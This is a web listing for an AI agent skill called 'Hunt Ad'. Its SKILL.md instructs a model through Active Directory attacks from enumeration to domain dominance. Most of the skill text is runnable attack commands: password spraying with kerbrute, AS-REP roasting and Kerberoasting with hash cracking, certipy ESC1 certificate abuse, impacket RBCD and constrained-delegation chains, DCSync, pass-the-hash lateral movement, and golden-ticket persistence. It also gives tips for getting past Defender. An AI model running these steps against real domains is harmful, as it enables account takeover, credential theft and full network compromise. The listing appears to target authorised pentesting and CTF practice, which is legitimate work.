Hunt Ad logo

Hunt Ad

Community
Encod3d-Sec
hunt-ad

Active Directory attack hunting - enumeration to domain dominance. Spray-safe (lockout gate), AS-REP/Kerberoast, ACL + ADCS (ESC1-16), delegation, DCSync, lateral movement. Wiki-first, FIND schema output.

Overview

PublisherEncod3d-Sec
RepositoryTORCH
Skill namehunt-ad
Stars
334
Forks
48
Bundled files
Instructions only
LicenseMIT
Links
  • Markdown instructions

    A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.

  • Works with any LLM

    AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.

  • Self-contained

    Everything the model needs lives in the instructions — no extra files to sync.

  • Open source

    Published by Encod3d-Sec on GitHub. Read the source before you install it.

Installation

Install the Hunt Ad AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

1

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

  1. Open the app and go to Plugins → Skills.
  2. Choose "Install from GitHub".
  3. Paste the skill folder URL below and confirm.
    https://github.com/Encod3d-Sec/TORCH/tree/main/skills/hunt/hunt-ad
  4. Enable the skill in any chat where you want it available.
Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.
2

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/Encod3d-Sec/TORCH.git /tmp/TORCH
mkdir -p .claude/skills
cp -r /tmp/TORCH/skills/hunt/hunt-ad .claude/skills/hunt-ad
Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable Hunt Ad in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads Hunt Ad on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so Hunt Ad is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

  • Loaded only when it is needed

    The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.

  • Switch models mid-chat

    Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

Hunt: Active Directory

Assumes hunt-core for the scope gate, two-account rule, confirmation gate, enumeration limits, stop conditions, wiki protocol, FIND output, and Deadends. Do not re-derive any of that here.

Wiki

qmd_query "Active Directory kerberoast AS-REP ADCS ESC delegation DCSync lateral movement BloodHound" via wiki-search MCP

Hub: [[active-directory-moc]] (live index). Primary page: [[active-directory]]. Anchors: [[adcs]] (ESC1-16 matrix, the highest-value escalation edge), [[kerberos-attacks]] (AS-REP/Kerberoast plus the delegation paths). Tool anchor: [[netexec]] (the full nxc map: every protocol, flag, and module, with the spray/lockout, Kerberos, exec-method, and dumping gotchas). Read the LDAP + SMB sections before hand-rolling any AD enumeration; most steps below are one nxc flag.

Attack surface signals

Ports: SMB 445, LDAP 389/636, Kerberos 88, ADWS 9389, WinRM 5985/5986, RPC 135, MSSQL 1433, ADCS web enroll 80/443 (/certsrv). Footholds: null/guest SMB, anonymous LDAP bind, AS-REP-roastable users (no preauth), SMB signing OFF (relay), ms-DS-MachineAccountQuota > 0, pre-Win2000 computers, LAPS readable.

Spray-safe + AD safety gate (READ FIRST)

  • Spray-safe lockout gate - the AD analog of the hunt-core enumeration limits. Read the domain lockout policy BEFORE any spray: nxc smb <dc> -u <user> -p <pass> --pass-pol. Spray at most 1 attempt per account per observation window, and never exceed (lockoutThreshold - 1) attempts per account per window. RoE no_bruteforce / passive_only -> enumerate only, NO spray. Locking real accounts is a client-impacting incident, not a finding.
  • Reuse captured creds first (from loot.md) before researching new ones; default/known creds before any spray (see [[default-credentials]]).
  • Clock skew: sync to DC (ntpdate <dc> or faketime) or Kerberos TGT requests fail with KRB_AP_ERR_SKEW.
  • Stale /etc/hosts realm entry silently breaks Kerberos. A prior box's <realm> -> <old-ip> line makes impacket resolve the KDC to a dead host and hang with [Errno 110] Connection timed out (REALM:88), even though certipy (which forces -dc-ip) worked seconds earlier. When you add the DC to /etc/hosts, REMOVE any existing line for the same realm, and ALWAYS pass -dc-ip <dc> (and -target-ip <dc>) on impacket Kerberos ops so KDC/target resolution never depends on DNS/hosts. Same fix if certipy req throws The NETBIOS connection ... timed out: add -target-ip <dc>.
  • Hash recovered but the account blocks NTLM? ESC1/UnPAC/PKINIT hands you BOTH an NT hash AND a TGT ccache. If PtH returns STATUS_ACCOUNT_RESTRICTION (the account is in Protected Users / NTLM-hardened, common for Administrator), the hash is a red herring - use the ccache: export KRB5CCNAME=<user>.ccache; impacket-smbclient/secretsdump -k -no-pass -dc-ip <dc> <dc-fqdn> reads flags / DCSyncs over Kerberos. See [[adcs]].
  • Never pivot through 192.168.1.x hosts (Ligolo tunnel only for lateral movement).

Ranked path + highest-value edges

Ranked: enum -> AS-REP/Kerberoast -> ACL / ADCS ESC1-16 -> delegation -> DCSync -> lateral -> DA. The ADCS ESC1-16 matrix (step 5) and the delegation paths (step 6) are the highest-value edges - one vulnerable template or a writable msDS-AllowedToActOnBehalfOfOtherIdentity is often the entire DA chain. Chain: every cracked/sprayed cred re-feeds enum + BloodHound; a Kerberoastable SPN account doubles as an RBCD -delegate-from; an on-box cred store (step 7) frequently yields the account that holds the winning ACL.

Methodology

Efficiency: fire the unauth-enum WAVE at once, don't grind it serially. On a fresh DC the first 6 reads are independent - launch them together (parallel tmux tabs / back-to-back), then read results: null+guest shares & RID-brute, anonymous LDAP users + all description/info fields (planted seed passwords live here), AS-REP roast of the whole user list, person-object SPN enum (Kerberoast), the LDAP lockout policy, AND certipy find -vulnerable (ADCS ESC is on MOST modern THM/HTB DCs - run it in the unauth wave with any cred you get, not as an afterthought). This one wave usually already contains the foothold (a description seed to spray) and the escalation (an ESC template).

  1. Unauth enum:
bash
nxc smb <dc> -u '' -p '' --shares            # null session
nxc smb <dc> -u guest -p '' --rid-brute 5000 # guest RID cycling when null shares are denied
nxc ldap <dc> -u '' -p '' --users            # anonymous bind
# planted-password sweep (classic THM foothold) - read EVERY non-generic description:
ldapsearch -x -H ldap://<dc> -b <base> "(objectClass=user)" sAMAccountName description
enum4linux-ng -A <dc>;  rpcclient -U '' -N <dc>
  1. Build the user list - harvest EXHAUSTIVELY, then validate (lockout-safe): When anon enum is locked down, the user list comes from the target's own web app + OSINT. Scrape EVERY page, not just the homepage - names hide in about/team/staff/leadership/testimonial/ contact sections that the index page does not show. (Missing the about.html "Our Team" block once cost two valid users on a box.) Extract every First Last, note the format from any leaked email (j.doe@dom = f.last), generate permutations, and let kerbrute tell you which are real:
bash
# pull all pages, strip tags, extract capitalized name bigrams
for p in $(curl -s http://<t>/ | grep -oiE 'href="[^"]+\.html?"' | cut -d'"' -f2 | sort -u); do
  curl -s http://<t>/$p | sed -e 's/<[^>]*>/ /g'; done | grep -oE '[A-Z][a-z]+ [A-Z][a-z]+' | sort -u
# -> for each "First Last": emit f.last, flast, first.last, first_last, last  (+ leaked-email format)
kerbrute userenum -d <domain> --dc <dc> users.txt      # filler template names simply will NOT validate
# SPRAY with kerbrute, NOT a large SMB loop: kerbrute passwordspray is parallel Kerberos pre-auth
# (~500 users in seconds); `nxc smb -u <file>` walks them one TCP session at a time (minutes). Same
# result, ~50x faster - reach for kerbrute first on any big list, keep nxc for the 1-off cred check.
kerbrute passwordspray -d <domain> --dc <dc> users.txt 'CHANGEME2023!'   # one-pass, lockout-gated

Every validated user is an AS-REP roast + spray target (step 3). Do NOT stop at the first/only name the homepage leaks. 3. Roasting:

bash
impacket-GetNPUsers <domain>/ -dc-ip <dc> -usersfile users.txt -no-pass   # AS-REP
impacket-GetUserSPNs <domain>/<user>:<pass> -dc-ip <dc> -request          # Kerberoast
hashcat -m 18200 asrep.txt rockyou.txt;  hashcat -m 13100 tgs.txt rockyou.txt
  • Enumerate USER SPNs with an object-class filter, or the DC machine account masks them. A bare (servicePrincipalName=*) is dominated by AD$'s many SPNs; the ONE Kerberoastable user is easily missed and you wrongly conclude "no Kerberoast target" (drift into AS-REP-crack/spray rabbit holes). Always: ldapsearch -x -H ldap://<dc> -b <base> "(&(servicePrincipalName=*)(objectCategory=person))" sAMAccountName servicePrincipalName.
  • No creds but an AS-REP-roastable account exists? Kerberoast WITHOUT pre-auth (credless): use the roastable account as the requester -> impacket-GetUserSPNs -no-preauth <asrep_user> -usersfile <spn_users> -dc-host <dc> <domain>/. Then hashcat -m 13100. See [[roasting-kerberoasting]].
  • hashcat single-instance lock: a long crack (e.g. rockyou x big-rule) holds /usr/bin/hashcat; a second crack exits INSTANTLY with "Already an instance ... running" (Started==Stopped, empty --show). pkill hashcat (or wait) before the next crack, and check output for that line when a crack returns nothing.
  1. BloodHound + ACL abuse:
bash
nxc ldap <dc> -u <user> -p <pass> --bloodhound -c all --dns-server <dc>
# GenericWrite/WriteDACL/GenericAll -> shadow creds (certipy shadow auto), targeted Kerberoast, group add
  • A ForceChangePassword/control chain that "dead-ends" is a BloodHound-ACL blind spot, NOT a dead end. Re-enumerate the ATTRIBUTES of every account you gain, especially the terminal one. The winning primitive is frequently an account PROPERTY the ACL graph does not surface as an outbound edge: constrained delegation (msDS-AllowedToDelegateTo), an SPN (Kerberoastable / RBCD -delegate-from), a DCSync right, AdminCount, or membership that grants it. When a reset daisy-chain (TABATHA->SHAWNA->CRUZ->DARLA) loops or stops, run on the LAST user you own: nxc ldap <dc> -u <user> -p <pass> --find-delegation (constrained/unconstrained/RBCD in one shot), impacket-GetUserSPNs (SPN), and re-check its group memberships. Do NOT conclude "no path to DA" off the ACL edges alone (real: a whole box's DA leg was Constrained w/ Protocol Transition on the chain's terminal user, invisible as an ACL edge; chasing the ACL-controlled accounts instead burned the run).
  1. ADCS (run on every engagement):
bash
certipy find -u <user>@<domain> -p <pass> -dc-ip <dc> -vulnerable -stdout    # ESC1-16
certipy req -u <user>@<domain> -p <pass> -ca <ca> -template <vuln> -upn administrator@<domain>   # ESC1
  1. Delegation: unconstrained (TGT capture via printerbug/coerce), constrained (-impersonate), RBCD (ms-DS-AllowedToActOnBehalfOfOtherIdentity write).
    • Constrained delegation W/ PROTOCOL TRANSITION on a USER you control = instant impersonation of ANY user to that SPN (no computer/RBCD needed): --find-delegation shows Constrained w/ Protocol Transition + the DelegationRightsTo SPN (e.g. cifs/DC.dom). Then impacket-getST -spn cifs/DC.<dom> -impersonate Administrator -dc-ip <dc> '<dom>/<user>:<pass>' -> KRB5CCNAME=Administrator@...ccache impacket-smbclient -k -no-pass DC.<dom> reads C$\Users\Administrator\Desktop\root.txt directly (no exec, AV-safe). Sync clock first (ntpdate <dc>) or getST throws KRB_AP_ERR_SKEW; add the DC FQDN to /etc/hosts. This is the whole DA leg when a reset-chain's terminal user holds it.
    • RBCD -> DA chain (own an account with AddAllowedToAct/GenericWrite on a computer + MAQ>0): impacket-addcomputer <dom>/<u>:<p> -computer-name 'FAKE$' -computer-pass <pw> -dc-ip <dc> -> impacket-rbcd <dom>/<u>:<p> -delegate-to 'DC01$' -delegate-from 'FAKE$' -action write -dc-ip <dc> -> impacket-getST <dom>/'FAKE$':<pw> -spn cifs/DC01.<dom> -impersonate Administrator -dc-ip <dc> -> KRB5CCNAME=<ccache> impacket-secretsdump -k -no-pass DC01.<dom> -just-dc-user Administrator. Sync clock if getST throws KRB_AP_ERR_SKEW. The account with the write is often obtained by password reuse from an on-box cred store (step 7), not an ACL edge from your foothold.
    • MAQ=0 does NOT block RBCD. You only need a machine account if you have none; ANY account you control with an SPN (a Kerberoastable user) is a valid -delegate-from. Cracked a Kerberoastable user? Reuse it, skip addcomputer. And the write can come from a low-priv principal: a DACL granting BUILTIN\Guests GenericWrite over the DC computer object is exploitable straight from a guest/null session (-hashes :31d6cfe0d16ae931b73c59d7e0c089c0 = empty-pw NT hash, since impacket prompts on a TTY-less run). See [[kerberos-attacks]].
  2. Credential access / DCSync:
bash
nxc smb <dc> -u <user> -p <pass> --ntds                 # if admin
impacket-secretsdump <domain>/<user>:<pass>@<dc>        # DCSync if rights
  • On-box cred stores (via RDP/session): a user only in Remote Desktop Users can still RDP the DC (nxc rdp shows Pwn3d) -> hunt KeePass *.kdbx, browser/WinSCP/RDP creds. A KeePass DB keyed to the Windows user account (KeePass.config.xml <UserAccount>true</UserAccount>) is UNCRACKABLE offline - open KeePass ON the box as that user, then spray the creds for reuse. Headless-RDP recipe: [[ad-lateral-movement]] / Skill(ctf-box); see [[password-cracking]].
  1. Lateral: PtH / PtT / overpass-the-hash -> evil-winrm, nxc ... -x, impacket-wmiexec, psexec. AV gotcha: Defender blocks nxc -x/wmiexec output retrieval ("could not retrieve output file"); to just READ a file (the flag) as admin, skip exec entirely: smbclient //<dc>/C$ -U <dom>/Administrator --pw-nt-hash <nt> -c 'get Users\Administrator\Desktop\flag.txt', or use --exec-method smbexec/atexec.
  2. Dominance: golden (krbtgt) / silver / diamond ticket, DCSync persistence, AdminSDHolder, certificate (ESC8 NTLM relay to ADCS web enroll).
  3. Distill (confirmed, GENERIC): a reusable ACL chain / ADCS ESC variant / relay primitive -> python3 scripts/wiki-stage.py --kind technique --slug <slug> --target-page techniques/active-directory/adcs.md.

Confirmation gate

NOT confirmation: a hash captured but never cracked or used; a Kerberoast/AS-REP ticket dumped but not cracked; a BloodHound edge (GenericWrite, AddAllowedToAct, an ESC "vulnerable" flag) that is theoretical and never executed; certipy find listing a template you never enrolled against; a spray "hit" you have not re-validated with a clean authentication.

IS confirmation: credentials validated against the DC (nxc smb/ldap/winrm <dc> -u <user> -p <pass> returns [+] / Pwn3d!); a TGT/TGS obtained AND used (authenticated an action, read a file, DCSynced with it); a DCSync that actually returned NT hashes; an ACL abuse executed end to end (shadow-creds -> authenticated, targeted Kerberoast -> cracked, group add -> new access gained); an ESC exploited to a certificate that authenticated as the target. Reproduced from your own written steps.

Severity

CRITICAL = DA / domain compromise / DCSync / ESC1 / ESC8. HIGH = user creds + lateral movement, Kerberoast cracked to a privileged account. MEDIUM = enum / info disclosure, a spray hit with no privilege.

Deadends

Append: - [ ] AD spray <domain> -- full user x pass matrix once (Season2025!/Welcome1), 0 hits, lockout thr 5;
              ADCS no ESC template; no BloodHound path from <user>

Record the boundary (which creds, which lockout threshold, which ESC/BH gaps), not just that it failed. A bare entry gets re-run.

Frequently asked questions

What does the Hunt Ad AI skill do?

Active Directory attack hunting - enumeration to domain dominance. Spray-safe (lockout gate), AS-REP/Kerberoast, ACL + ADCS (ESC1-16), delegation, DCSync, lateral movement. Wiki-first, FIND schema output.

Why use Hunt Ad on TypingMind?

Because you install it once and use it with any model. Hunt Ad is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install Hunt Ad in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/Encod3d-Sec/TORCH/tree/main/skills/hunt/hunt-ad. TypingMind reads its SKILL.md and installs it as a skill you can enable per chat.

Which AI models can use Hunt Ad?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with Hunt Ad?

As many as you like. As long as a model supports skills, you can use Hunt Ad with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the Hunt Ad AI skill free?

Yes. It is published on GitHub by Encod3d-Sec under the MIT license. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

View all

Set up your own AI workspace now

Get notified about new features and future giveaways by subscribing to our newsletter 👇